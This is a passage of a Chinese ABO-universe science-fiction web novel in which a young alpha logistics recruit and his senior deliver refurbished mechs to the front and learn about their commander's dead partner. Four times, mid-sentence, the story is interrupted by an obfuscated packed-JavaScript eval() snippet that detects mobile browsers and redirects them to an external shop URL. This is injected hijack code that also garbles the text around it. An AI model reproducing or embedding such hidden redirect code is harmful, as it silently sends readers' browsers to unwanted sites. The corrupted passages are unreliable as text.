“不过,你说的没错,如果真的惊动了宗主群落,我们随时都要做好上前线、以及丧命的准备。”蓝远山继续说道。 “嗯……”卫嘲风抿了一下嘴,发出一个含糊的音节。 蓝远山以为他被吓到了,露出一个安抚的笑容:“也不用太过担心,就是为了避免走到全面战争那一步,指挥部才会急着把长官调走。其实在调令公示之前,她就已经出发了。” 卫嘲风一怔:“前辈这话……好像她一个人就能左右战局似的。” 蓝远山将两手交叠放在脑后,然后将手背靠在墙上:“虽然没有那么夸张,但是也差不多吧。她就是这么一个不可思议的人。” 卫嘲风小声嘀咕了句什么。 蓝远山扯了一下嘴角:“你不会在腹诽‘不过是一个beta’什么的吧?” 卫嘲风心虚地摇了摇头。 “在A级群落回航之前将其一只不落地全部歼灭,只要能做到这一点,应该就能够避免大战了。” “哦。” 蓝远山拍了一下后辈的脑袋:“全歼一个A级群落可没那么容易。” “我又没说容易。” “你的表情是这么说的。” “我……” 卫嘲风无法反驳。 他确实不觉得全歼一个A级群落是多么困难的事情。 自三年级起,他不知道在模拟机里进行了多少次和A级群落的对战训练,面对100数量级的敌军,他可以拿到30以上的击杀数——这是以小队为单位的训练,其他成员的平均击杀数只有10。 他对自己的战斗能力很有信心。 想到经常连10击杀都完不成的桑奇都被分配到了前线作战部队,他对自己没有机会去证明的实战能力更加抱有超乎寻常的信心。 “但如果没能全歼A级群落的话,就要准备和S级群落开战?” “别说不吉利的话。” “为什么不征调更多人手?” “能出战的机体不够,人再多也是白搭。长官临走之前追加了翻新的工作量,真是不知道体恤下属。还以为人人都像她。” 蓝远山虽然在抱怨,但神情却完全不是那么一回事。 不恰当地形容,简直就像撒娇一样。 就算嘴上在埋怨对方,心里却因为得到了信任而感到沾沾自喜。 “前辈,其实你和长官的关系很好吧?”卫嘲风有些别扭地说着。 蓝远山没有明确回答,他弯着眼睛,用宽大的右手挠了挠后脑勺。 卫嘲风脑子一热。 前辈和长官……做过那种事吗? 还有那些开玩笑的alpha…… 像是被什么附身了一样。 像是着了魔一样。 像是打开了魔盒。 从没在他脑子里出现过的念头源源不断地喷涌。 各种近乎亵渎的想法却如同开闸泄洪一样在脑海里翻腾。 思绪最后的定格,则是beta女性用宛如叹息般的声音低吟着“辛冽”这个名字时的情形。 她的视线落在他身上,却又穿过了他,看向另一个人。 那令人感到陌生的惶惑让人想要将其据为己有。 偏偏又被明确地宣告——那绝非归属于他。 可恶! 他狠狠地捶了一下墙壁。 9. 走出来 “怎么了?你脸色有点不对。如果身体有什么异常的话,还是去医务部看看吧,上次不也是——” 蓝远山关切地问了一句。 洪水猛兽一下被关进牢笼,卫嘲风收起思绪。 “我……一直都很想驾驶真正的BOS。”在那双包容的、真挚的眼睛的注视下,他不由自主地吐露了心声。 蓝远山没有表现出意外的样子,“成为驱动者是一件很酷的事情没错啦,但是坐进BOS的驾驶舱,就意味着很可能有一天会战死在深空,而且就连尸体也无法被回收,永远成为飘荡在无垠太空的鬼魂——所以很多人虽然说着想要驾驶BOS,但其实并不想开着它去和群落战斗,只是想耍酷罢了。” “我愿意战斗。”卫嘲风说。 接着,他又用略低一点的声音补充道:“我不怕死。” 蓝远山有些动容,沉声道:“是吗……” “前辈觉得我是因为没有经历过战争才敢大放厥词吗?”卫嘲风放在腿上的双手不知什么时候握成了拳头,“其实我经历过的……我经历过的。十年前,我还住在启程星一号上……” 那不是能够轻易忘记的事,尤其是对亲历者来说。 当然,无法忘怀的不仅是当时蒙受灾害的受难者,还有那些奉命帮助殖民星住民撤离的士兵们。 “原来是这样。” 蓝远山完全能够从后辈提示的时间和地点中想象到发生了什么,也大体能够猜测到这十年来他的心路历程。 他也许在十年前的灾难中,握住了某位驱动者伸出的援手,得到了救赎,才侥幸活了下来。 他想要成为BOS的驱动者,不是因为对战争存在英雄主义的幻想,而是想延续当年感受到的精神和意志。 “调动公示发布的时候,你看起来那么失落,难道就是因为没有在上面看到自己的名字?那是当然的啦,哪有入伍一个季度不到就调动的例子。小子,连轮岗都还没轮完,就已经在想着调岗的事了?” 原本是安慰的话,但在卫嘲风听来却格外刺耳。 他也知道入伍头一年里申请调动的成功率很低,但他根本不属于这种情况。 他的成绩明明是可以去STELAR的,却被故意下放到了不利于alpha的后勤。 更何况,这背后还有无法启齿的“交易”…… 在膝盖上握紧的拳头突然被一只大手盖住了。 “不要心急。我觉得,如果是你的话,一定可以的——你一定可以成为一名了不起的驱动者。” * 卫嘲风以为那天晚上发生的事会成为他一辈子的心理阴影,但实际上过了一个月,他就觉得自己已经差不多走出来了。 大概真的是应了那句话。 反正又没有少一块肉。 当然,这里纯粹是指走出那种消沉的情绪,不包括接受自己惨遭欺骗以及原谅罪魁祸首这些高级阶段。 如果让他再见到那个欺骗自己的家伙,他一定会冲上去,抓着她的领子大声控诉……也许吧。 “这下,最后一台机体的翻新也大功告成。”蓝远山收回扫描组件,心满意足地仰望着面前那台大家伙,“又能上战场了,老伙计,高兴吧?” 卫嘲风发现他正在对那台刚刚焕然一新的机甲说话,语气还显得有那么些怀念。 “前辈以前驾驶过这个型号的BOS?” 蓝远山的视线仍停留在机甲上:“是啊,这是我作为驾驶员的时候第一次实际操作的机甲。” “IRONVANGUARD,我记得是二十年前服役的初代机甲。前辈,你的军龄已经那么长了吗?” “在我驾驶IV的时候,它已经是旧机型了。最新的型号只会给成绩最好的战士用。” “成绩最好的战士。比如说……长官吗?” “她确实属于第一梯队,年纪又轻,未来可期。如果是alpha,指挥部对她的评价或许还会更高。” “这么说来,她参军也已经很久了?可是她看起来比我大不了几岁……” “她十六岁就正式入伍了。今年刚好是第十年。” “十……十六岁?!” 卫嘲风想到自己十六岁的时候还是一名踌躇满志的军校新生,而那个人十六岁的时候就已经是一名真正的战士了。 他还没有上过战场,她已经有了十年军龄。 蓝远山似乎很享受后辈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136358|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的诧异,得意地笑了笑。 “那是战时。军队遴选的规则没现在这么严,年龄规定也不会卡得太死,基本上只要过了分化期,就可以参加入伍考核。” 卫嘲风一时百感交集:“十年的话,那不是——” 如果她在十年前就是正规军成员的话,说不定也参加过那场战争。 蓝远山原本在等待后辈的下文,发现他似乎不打算继续说下去之后,便又转回自己的话题上,用若无其事般的口吻说道:“想不想去前线看看?” 卫嘲风以为自己听错了:“前辈,你刚才说什么?” 蓝远山后退了几步,将挂在肩上的清洁道具放回作业台上,用干净的毛巾擦了擦手:“本来是约定STELAR派人取走这批机甲的,但现在谁都抽不出空,所以要我们亲自送过去。LOGIS有一台专门用于运输的波恩,你有没有兴趣坐我的副驾?” 卫嘲风顿时将所有不愉快抛到了脑后:“当然!” 就算对理论知识了如指掌,至今为止也从来没有实际搭乘的机会。 虽然不是BOS,但乘坐航舰去往深空也是足够令人期待的体验。 到了出发那天,卫嘲风起了一个大早,比蓝远山还早十几分钟到达航舰停靠处的栈桥。 他确认了一下十台BOS的装载情况和航舰的燃料箱,以及另外一些航行前的必要准备,蓝远山出现的时候,他已经基本完成了起航前的各项确认。 “比起LOGIS,我想一定还是STELAR更适合你。是选拔考试的时候失误了吗?” 当航舰的运行进入稳定状态后,蓝远山主动和副驾闲聊起来。 “后勤队伍能有你这样优秀的新人加入当然是好事,我只是觉得有点浪费。大家都知道,LOGIS不是适合alpha待的地方。” 卫嘲风叠放在腹部的手指无意识地抽搐了一下。 真是一个让人感到为难和无可奈何的话题。 “那前辈呢?你为什么会在这里?” “我?我是跟着长官来的。” 蓝远山给出了一个让人意外的回答。 卫嘲风的手掌向上挪动了几寸,按住突然感到不适的胃部。 10. 不坦率 驾驶舱出现了片刻的沉默。 “那长官又为什么会来LOGIS?以她的能力,性别什么的根本就构不成障碍吧?”年轻的alpha质问道。 用的是连他自己都没有意识到的冰冷的语气。 蓝远山沉默了一会儿才又说道:“这么问或许有点唐突,如果我感觉错了的话,先向你道歉。” “什么啊?” “你是不是有点讨厌长官?” 卫嘲风矢口否认。 蓝远山一副看不出信没信的样子,“在车间轮岗的时候,明明和长官相处得还不错,但不知从什么时候开始,你的态度就变了。也许是我的错觉吧。” “她又没有对我做什么,我为什么要讨厌她?”卫嘲风面不改色地说了谎。 “车间不是有很多人会在私下议论长官吗?尤其是第三车间那几个alpha。都是一些无稽之谈,不过是那些上等兵受不了被beta压一大头的感觉。长官本人似乎完全不在意那些人怎么看她,但我不希望你受到那些流言蜚语的影响,对她产生什么偏见。”蓝远山说。 就算是流言,也不会是凭空产生的吧? 卫嘲风把反驳的话藏在心里,没有对前辈坦白。 毕竟他曾经以身试法。 那个人也许确实凭借实力走到了一般beta难以企及的高度,但才能都无法用来证明一个人的德行是否出众。 就连前辈自己也说过,那个人不是“善茬”。 “我不会因为一些流言就轻易决定对一个人的评价。一开始和长官走得近,只是因为到了新环境,所以想要尽可能和上司搞好关系。这么说的话,前辈会瞧不起我吗?” “当然不会。我倒是挺理解这种做法的。”蓝远山终于松了口气。 卫嘲风看了一眼中央表盘,航程还没过半,但是空间中的景象已经有了激战过的痕迹。 那个人现在正驾驶着怎样的机体,和怎样的敌人进行战斗呢? 说她厉害,到底厉害到什么程度?一个beta,在机甲工程方面出类拔萃就算了,在实战上,她的第一、第二性别都注定她天生不占优势,再厉害又能厉害到哪里去? 闭上眼睛,然后又睁开。视觉被遮断的刹那,糟糕的记忆卷土重来。年轻气盛的alpha不安地皱了皱眉。 “前辈,你听过辛冽这个名字吗?” 这个提问可谓猝不及防,连他自己都吓了一跳。 他将身体深深陷在副驾驶的座位里,希望这张软硬适中的椅子能给自己提供支撑。 蓝远山脸上的惊讶则是显而易见,就连拽动操作杆的动作都显出几分动摇。 “你是从哪里知道这个名字的?” “偶然……听长官提起的。” “她还说了什么?” 卫嘲风觉察到前辈的语气有些急躁,开始担忧自己是不是说了多余的话。他从长官口中听到的也只有这个名字而已,除此之外,便一无所知。 他害怕这个话题持续下去,会不可避免地触及那场龌龊的交易。他当然可以撒谎回避,但他不确定自己在这种情况下能编一个不会被戳穿的故事。 “我只是在路过长官办公室的时候不小心听到的,我也不清楚她当时还说了什么,也不知道她在和谁说话。” “这样啊。”蓝远山好像有点失望。 卫嘲风觉得这个话题应该已经顺利结束了。他将肘部靠在座椅的扶手上,用指根处的骨头支着脸颊。 航舰的窗外开始出现人造物品的残骸,星体的碎片也开始变得密集。 与这种杂乱景象相对的,则是寂静无声的驾驶舱内。 就在卫嘲风觉得无话可说的时候,蓝远山突然开口了。 “辛冽……应该算是长官的伴侣吧。” “伴侣?”卫嘲风的太阳穴突突一跳,说话的声音莫名沙哑起来,“原来长官已经结婚了吗?” 既然已经结了婚,为什么还要…… 就算beta不会被信息素和标记所困,也不能这么任性妄为吧? “她的那个伴侣是beta?也是军人吗?现在在什么部署?” 难道她就是为了和那个什么辛冽在一起,才抢走了调动名额? “辛冽是alpha。” 蓝远山的回答让卫嘲风一愣。 “他在三年前牺牲了。” 卫嘲风的心揪了起来。 他这时才回味过来那个“应该算是”的微妙之处。 蓝远山似乎觉察到驾驶舱的氛围过于沉重,做了一个深呼吸,耸了耸肩,说:“意外吧,一个alpha,没有选择门当户对的omega,却跟一个和自己不相上下的beta谈情说爱。大多数alpha很难接受与自己势均力敌的伴侣,不是吗?这是本能决定的。不过部队里的人虽然会笑他品味奇怪,大多其实都是看好他们的。” “是、是吗?” 新人列兵用生硬的口吻应道。 航舰的驾驶舱,是这么气闷的地方吗?还是因为舱内的制氧出现了故障? “辛冽,是一个怎样的人呢?”他不知道自己是抽了哪门子的风才会继续追问。 蓝远山略显无奈的声音从边上传来:“一个方方面面都优秀到让人觉得无可奈何的人。除了有点争强好胜之外,应该就没有什么缺点了。不过争强好胜对于alpha来说本来就不算什么缺点。” “唔。” “所以……在得知长官选择了他以后,就算觉得十分不舍,我也只能放手了。” “啊……” 原来前辈也喜欢那个人啊。 卫嘲风觉得一股奇怪的电流正通过脊椎蔓向全身。 比起被当成替身的屈辱和愤怒,以及前辈身为暗恋者的心情,他有了更加在意的问题。 那个人为什么会把他当成辛冽呢? * 后勤航舰平稳抵达位于前线的母舰,并成功提交包含十台翻新机甲在内的补给物资。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136359|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 因为还要等待前线指挥中心返回下一批物资清单及确认十台机甲的运作状况,后勤支援人员必须得在前线母舰等候大约三日左右才能返航。 蓝远山知道自己这个后辈对战场抱有不切实际的憧憬,慷慨地带他在母舰上允许进入的地方参观了一遍,还在获得指挥中心的许可后,将他带到前线教学基地见习。 平时这里是训练新兵的地方,一到战时,尤其是战场上严重缺人的时候,这里的学员就会响应征召,参与到实战当中。 对下等群落的战斗几乎每个月都会发生几次,其中大部分也会交由老兵带新兵的混合队伍出击解决,为学员们提供充实的作战机会,以减少在正式大战中手足无措乃至精神崩溃的可能性。 眼下的教学基地空无一人,蓝远山从刚进大门起就开始介绍每个间隔场地的用途,顺带说一说他在这里接受培训时的经历。 “如果是中途调动过来的话,会以怎样的周期进行训练?直接编入最新一期的学员名单,还是插入当前在训的队伍里?” 考虑到卫嘲风没有放弃进入STELAR的目标,也就不奇怪他会问出这样的话来了。 “会根据入队考核的成绩确定最终的编排。能够从后方调到前线的,一般都是经验特别丰富的老兵,或者资质尤其出众的年轻人,所以被编入最新一期的可能性比较小,通常都是中途插班,也有特别优秀的那种,会跳过基地教学阶段,直接编入正式作战队伍。”蓝远山耐心地回答道。 “如果前辈被调动到前线的话,应该也是直接进入正式编制的吧?” “当然,我好歹也是有实战经历的老战士了。” 蓝远山带着后辈穿过建筑物一楼的走廊,来到侧面一处阴暗的角落。 这里也有几个房间,但不是教室。门外的铭牌上写着器材室、资料室、机房等字样。 所有房间的窗户都被严严实实地关着,窗户是不透明的合金材质,这种格局在地面也很常见,但出现在星际空间时,却让人觉得特别压抑。 “我记忆里,除了机房之外,其他房间都是不上锁的,因为没有什么值钱的玩意儿。”蓝远山试着拉了一下最近的一扇门,发现可以推开,便向后辈招了招手,“进去看看?” 这是铭牌上写着“资料室(二号)”的房间,正如蓝远山所说,没有上锁,这表明它不介意无关人士的闯入。 “就不怕有人盗窃和篡改资料吗?”卫嘲风问。 “摆在架子上的纸质文件本来就是让人取阅的,底本都有数字存档。”蓝远山径直走向一排靠里的柜子,“在这里留档的都是学员们的在校活动,不是什么机密文件。这里虽然是一个军事设施,但本质是一所学校。” 卫嘲风跟在蓝远山后面,一边仔细观察着柜子上面的标识,在观察了几排之后,他就发现那些标识是由时间和部署代码构成的一串字符,用以辨别这个柜子里放了哪些学生的资料。 他无意识地开始寻找与某人有关的代码。 11. 不该讨论的问题 “想看看长官在基地训练时的成绩吗?” 前辈的提议将卫嘲风吓了一跳,他还以为自己的心思不小心被发现了。但转而想到前辈之前在航舰驾驶舱里给出的明示,又觉得这也在情理之中。 在他还是个初中生的时候,学生之间就有这样暗默的风气,想要了解暗恋对象的一切,哪怕是第一学期的全科考试成绩这种在他看来无聊至极的数据。 如果看到一行漂亮的数字也就算了,要是看到一张被涂红的成绩单,应该会为自己竟为一个蠢蛋春心萌动而感到懊悔吧?所以为什么要去做那种明显多此一举的事呢? 他没有过暗恋的经验,自然无法体会那种忍不住想要了解喜欢之人的心情,也从未想过自己会有干那种傻事的一天。 “好啊。” 他在给出这个回答的时候并没有口是心非,但这和那些由爱慕催生的行为不同,他绝对不是因为对那位beta女性有好感,才会同意去看她的训练成绩,他只是想藉此知道她的实力究竟如何。 蓝远山熟门熟路地找到放置那一届学生档案的柜格,让人不免怀疑他可能是惯犯,而他也没打算隐瞒这一点。 “这么好看的成绩单可是很少见的。”他将一张质地略硬的纸递到后辈面前。 映入眼帘的是一排整齐的满分。即使偶有几个没能获得圆满的科目,分数也高得让人望尘莫及。 战术战略理论、高级近战格斗术、高重力环境训练、团队协作与战术模拟……这些都是印象中很难得到满分的项目,99%以上的军校学生都只以拿到优秀,也就是95以上的分数为最高目标。 “这不是活人能刷出来的成绩吧……”卫嘲风小声感叹了一句。 蓝远山找出了另一份成绩单:“这是辛冽的。” 卫嘲风赶紧接了过来。 奇怪…… 满分其实是这么平平无奇的东西吗? 难以言喻的劣等感在无声无息间蔓延开来。 “前辈的成绩单,可以让我看看吗?” “我和长官不是同一届的,得去别的柜子里找找,不过看这个也一样,”蓝远山从档案袋里找出了另一份成绩单,“我的和这张大差不差——也就是所谓的平均水平吧。和长官他们差远了。” 卫嘲风愣了一下。心中的自卑感变得更加强烈。原来他一直觉得拿得出手的那些成绩,到了前线,其实也不过是“平均水平”。 蓝远山将第三份成绩单抽了回去,“长官的成绩在他们那一届学员里面一骑绝尘,不少alpha都铆足了劲想把她挤下去,不过最后能做到和她不相上下的,也就只有辛冽一个。” “他们不是竞争对手吗,后来怎么变成伴侣的?”卫嘲风破天荒地八卦起来。 “大概就是在不断较量的过程中较量出感情的吧?据说一开始辛冽特别讨厌长官。你知道,alpha总是好面子,输给beta这种事情是无论如何都不能容忍的。” “……也没有。”卫嘲风嘟囔道。 蓝远山挑了一边的眉毛,看着面前这个后辈,微微笑了笑,“总之,对辛冽来说是不能容忍的,他总是在和长官较劲。后来不知怎的,大概是突然意识到不是自己不行,而是对手太过优秀,所以慢慢开始产生敬意了吧。” “这、这样啊。” “我觉得,他们两个到了后面都有些高处不胜寒的意思,回过神来发现能够站在身边的只剩下彼此了,所以就顺理成章地成为了伴侣。虽然说alpha和beta的结合在一般人看来多少有些离经叛道,但对于一路见证的人来说,他们两个会在一起简直是再自然不过的事情。” “对了,档案里有集体照之类的东西吗?” “有啊,你想看吗?” “嗯,拜托了。” 蓝远山在柜格里找了一会儿,翻出了另一个档案袋,从里面摸出一卷用盒子封好的相片,放到后辈手中。 现在很少会有人洗照片了,也就是毕业照还一直会使用实体相片。 “这是在基地的结业式上拍的,拍完没过几天,大战就爆发了。”他有些怀念地用指尖轻轻抚摸照片的表面。 “那时候真是稚嫩得很呢。” 卫嘲风低下头,在前辈的指尖附近看到了那张熟悉的脸。脸上没有一丝笑容,冷气似乎要透过画面散发出来。 他也伸手去碰了碰那张脸:“她的眼睛,原来不是天生那样的吗?” “哦,你说那个啊,嗯,是在大战的时候受的伤。好像是一只眼睛的虹膜色素被破坏了,万幸没有影响视力。” “听上去很危险的样子。真的没有影响到视力吗?” “啊……嗯,体检的结果显示没有问题。” 卫嘲风的手指在相片上移动起来。他忐忑不安的审视着相片上的每一个男性的脸庞,既害怕又希冀能从中找到一张和自己相似的脸。 最后,手指在一名男性alpha的肩头停下。 “这个人就是辛冽吗?” 蓝远山探过头看了一眼:“哦,亏你一下就能猜中呢。难道是那个吗……和长官有夫妻相?还是说优秀的人身上那种特别的气质?” 卫嘲风无言地摇了摇头。 相片中名为辛冽的那个少年,长着一张和他并不相似的脸。 其实他猜到会是这样的结果。 他被选为一夜的替身,绝对不是因为长相。 如果他真的和辛冽有什么明显的相似之处,蓝远山肯定早就注意到了。 但他也说不清楚,究竟是出于什么缘由,他才能一下就指认出那个名字的主人。 在alpha男性之中绝对可算具有优势的身高和长相,但拥有同等帅气面庞的人在这张相片上比比皆是。 要说独特之处,或许是有着超过年龄的稳重表情,以及锋利上挑的眉尾所展现出不服输的少年心性——这两种矛盾气质在同一个人身上的和谐交融。 卫嘲风移开手指,放到自己锁骨中间,隔着衣服的布料触碰紧贴着皮肤的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136360|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一枚玉佩。 那天夜里,唯一可以被称为吻的动作,就是那个人轻吻了这枚玉佩。 “不知道长官现在在干什么……”蓝远山突然这样说道。 卫嘲风将照片连带两张成绩单一起交还到前辈手中,“现在应该正是战斗最激烈的时刻吧?物资和机甲也都交付了。没有什么特殊战报,就说明一切都还顺利……” “嗯。希望如此。” 卫嘲风看着前辈将所有资料整理好,放回柜格当中,在关上柜门的时候似乎有些不舍。 “前辈为什么会喜欢上长官?” 蓝远山的身形略微一僵,转眼又恢复如常,他将手按在关好的柜门上,认真思考了一会儿:“喜欢一个人……需要什么理由吗?好像回过神来的时候,就已经喜欢上了。” “即使她心有所属?即使她永远也不会回应你的感情?” “就算知道是这样,但喜欢这种感情也是没法停止的呀。难道只要下定决心,告诉自己‘不要再喜欢她了’,就真的能放下吗?就是因为喜欢是没有理由的,所以才没法控制嘛。” “我搞不明白。Alpha和omega之间才存在天然的吸引力,alpha只会被omega的信息素吸引,又怎么会喜欢上beta呢?” “大概是有什么地方搞错了吧,我们的基因。”蓝远山苦笑了一下。 卫嘲风愣了一会儿,才意识到他说的“我们”是指他和辛冽。 两个违反了自然的性吸引规律,喜欢上同一个beta的alpha。 “所以喜欢这种事情是基因控制的吗?” “好像也不是哦。” “到底是怎样啊?” “我在休假期的时候停用过一段时间的抑制剂,结果因为一个omega的信息素在公共场合暴走,差点演变成事故,后来还赔了人家一笔钱。那只是偶然从我附近经过的路人,我对她当然也是一点感情都没有,但身体还是会出现冲动——这才算是基因的控制吧。” “前辈……” “嗯,想问什么?” “你……对长官产生过那样的性冲动吗?” 卫嘲风觉得自己怕不是疯了。 蓝远山皱着眉:“你小子还真是厉害啊,怎么做到面不改色问这种问题的?还以为是刚刚毕业的那种纯情大学生呢,其实是经验丰富的花花公子吗?” 卫嘲风也跟着皱起眉来:“我只是……在考虑学术性的问题。” 好像这时候他才意识到自己刚刚说了什么,以及他研讨的对象是谁。 那些时不时在他脑海中舞动的景象,能够被称作是性幻想或是冲动吗? 不。 那是记忆。 “你的反应还真是慢半拍啊。”蓝远山脸上的窘迫还没有完全退去,但还是露出了笑容。 卫嘲风感到不解。 直到听到蓝远山说“收回那句面不改色”,他才感到自己的脸正在发烫。 应该是已经红了吧。 12. 回航 虽然因为训练长期呆在室外,但卫嘲风的肤色意外白皙,到了在队伍中会显得格格不入的地步,加上他向来比较在意外表,如果不穿军装或者工装的话,绝对会被人当成一位养尊处优的少爷。 因为肤色白,所以脸红的话一下子就会被发现。 幸好性格正直的蓝远山没有要借此捉弄他的想法,自顾自地摸了摸后脑勺,说道:“一旦开始幻想,到了后面肯定会有感觉的吧……所以,欲望是有的,但是能算得上冲动吗?毕竟从来没有在她面前发生过失控的事情。” “难道我们的性冲动,完全被基因,或者说信息素控制着吗?心里爱慕的人,和能让身体起反应的人,不是同一个也是可以的吗?” 如果真的存在这样的事实,那是不是就可以解释那个人为什么能够一边叫着别人的名字一边和他欢爱了? 她真的只是想要品尝他的身体? “怎么了,好像一副大失所望的样子?你是那种认为精神和身体的喜好必须统一的人吗?”蓝远山沿着又高又长的柜子向外走去,整张脸逐渐从阴影中浮了出来,“倒是合你的性格。” 卫嘲风总觉得他这么做是为了避免泄露自己的表情。他跟在前辈身后离开了资料室。 “前辈觉得不需要吗?那个……精神和身体的统一。” “这么说也许会显得很软弱吧,但仔细想想,其实精神和身体,没有哪一样是我们能够完全控制得了的呢。就算我希望它们统一,它们自己未必愿意。如果没有抑制剂的话,我们根本没法从omega的信息素中逃离,不是吗?如果我能控制自己的精神,也就不用受单相思的折磨了。” 两人回到航舰,指挥中心已经将新的物资清单送了过来,接下去就是等待机体的测试结果了,指挥中心派来的联络员说大概还要再等三天。 “之前送来二十七台的时候,好像也只用了两天。这次怎么这么久?” 联络员露出抱歉的表情:“还是因为人手不够。之前可以三个人负责一台,现在已经变成了一个人负责三台,又不能出岔子,所以就会多花很多时间。” 蓝远山抱着双臂,从背面靠着驾驶座,思考片刻,说道:“既然这样,反正我和这小子现在也没别的任务,不如就让我们来辅助测试好了。现在长官被调到你们前线了,我担心没人管事,后方车间的工作要乱,还是想尽可能早点回去。” 说着,看了后辈一眼:“这家伙虽然还是新人,不过靠得住。” 联络员面露喜色,向蓝远山躬了躬身体:“我会向中心转达这个建议,如果你们愿意参与测试的话,那可就帮了大忙了!” 他的声音和肢体语言都显得太过热情,让蓝远山有些不自在。 “要不是地面没有足够的测试环境,这种工作本来就该由LOGIS完成。STELAR不仅要参与战斗,还要担心这种琐碎的事情,我们也很惭愧。” 不愧是在军队里呆了十多年的人。 参与测试的申请很快就被批准了,接到联络员的通知后,蓝远山一刻不停地带着后辈去到测试基地。那里已经是离前线很近的地方了。 “这可是实际驾驶BOS的机会,怎么,你好像一点都不激动的样子?” 作为把加入ECHO当做人生理想的青年,卫嘲风在登入驾驶舱前的平静反应让人感到意外。 不是作为一名驱动者,只是当一回测试员。所以没什么好激动的吧? 不过是坐在驾驶舱里,按照规定的流程进行毫无新鲜感的操作而已,这样的事情,在军校里已经进行过无数次了。 “我、我要入舱了。”他戴上头盔,向前辈打了一个报告。 蓝远山从远处给了他一个OK的手势。 舱门在沉闷的机械音中打开了。 坐在那张和模拟机几乎没有差别的驾驶座上时,卫嘲风甚至觉得有一点失望,他发现自己一直期待的东西其实早就在学校里得到了足够详尽的体验。 原来现实和虚拟,其实没有那么大的差别。 他意识到自己期待的并不是驾驶BOS这么单纯的事情,他想成为的是十年前将他从危机中解救出来的那个英雄。 “感觉怎么样?有没有不明白的地方?”前辈的声音从耳机里传来。 “虽然我的成绩只有平均水准,但只是进行机体测试的话,还是没问题的。”卫嘲风调整了一下联络器的位置。 “平均水准吗?” “……勉勉强强。” “参照物是什么?不会是之前给你看的成绩单吧?”蓝远山的声音带上了笑意,“我那时候没说吗?因为大家都在为了追上长官而努力提升水平,再加上刚刚入队就经历了实战的洗礼,所以那一届的整体水平都很高,就算是平均成绩,也足以在其他年届名列前茅了。” 机体测试是一项枯燥的作业,毫不夸张地说,比军校时期操作模拟机的训练课程还要无聊,连能够提升兴奋度的假想敌都不会出现,只需要对着一个个不会动的靶子进行攻击。 基础动作要确保重复时长超过一刻钟,包括三组手臂动作和三组腿部动作。也就是说整整一个半小时都在进行同一套没有技术难度的呆板动作。 然后是测试能量推进器的运行能力、自动索敌的灵敏度、武器瞄准精度、多机体协调能力…… 到最后,比起对机甲性能进行测试,看起来倒更像是对测试员意志的考验了。 “你们能帮忙分担任务,我们都不知道该怎么感谢才好。只有我们三个的话,恐怕精神力会吃不消的。” 原本负责测试工作的上等兵在任务完成后过来表达了一下感谢之情。 蓝远山好脾气地笑着:“哪里哪里,能帮上你们的忙也是我们的荣幸。” 测试组的人数由原来的三人变成了五人,这样一来每个人只需要负责两台机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14136361|150118||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甲,大幅提升了工作效率,更重要的是减轻了精神压力。 另外两名测试组的成员也从各自负责的机甲上脱出,到停机坪上集合。 其中一个人看到卫嘲风,热情地打了个招呼,向他跑了过来:“卫嘲风,你这么快就调来前线啦?!” 跑过来的人是桑奇。 两人在军校中关系还算不错,但是自从毕业被分配到不同的部队以后就几乎没了联系,一方面是两人的工作都不清闲,另一方面,则是卫嘲风一直没法平衡好心态。 不过想到桑奇虽然上了前线,实际上却在负责如此乏味的工作,他又不免庆幸起来,至少自己的工作比成天重复左转右转这些低级动作要有趣多了。 “我只是来前线送后勤物资的,反正闲着也是闲着,才会过来帮你们做测试。” “原来是这样!我就觉得嘛,就算你表现再出挑,也不可能用几个月的时间就顺利调动,不过到明年的调动周期应该就可以了,我可是一直在等你的哦!” “你上过战场了吗?和真正的群落战斗是什么感觉?” “哈哈哈哈……”桑奇干笑了几声,“上是上过了,感觉嘛——唔,比模拟机的战斗更逼真吧。” “你在说什么呢,真枪实弹的战斗,你还想怎么‘逼真’?”卫嘲风皱眉。 “就是——太危险了!我第一天上战场的时候,就被一只绿螳螂切断了机体,侥幸才逃了回来。从此留下了一点心理阴影……之后我就主动申请调到装备测试组来了。”桑奇挠了挠后脑勺,偏移了视线,“要是我们能调个个儿就好了。” 